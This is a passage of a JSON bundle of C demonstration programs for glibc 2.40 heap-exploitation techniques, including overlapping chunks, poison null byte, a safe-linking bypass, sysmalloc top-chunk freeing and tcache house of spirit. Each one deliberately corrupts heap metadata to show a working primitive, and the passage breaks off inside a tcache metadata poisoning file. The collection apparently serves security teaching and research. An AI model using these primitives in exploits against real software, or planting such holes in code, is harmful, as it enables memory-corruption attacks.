data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.40/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.40/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.40/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.40/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.40/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.40/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 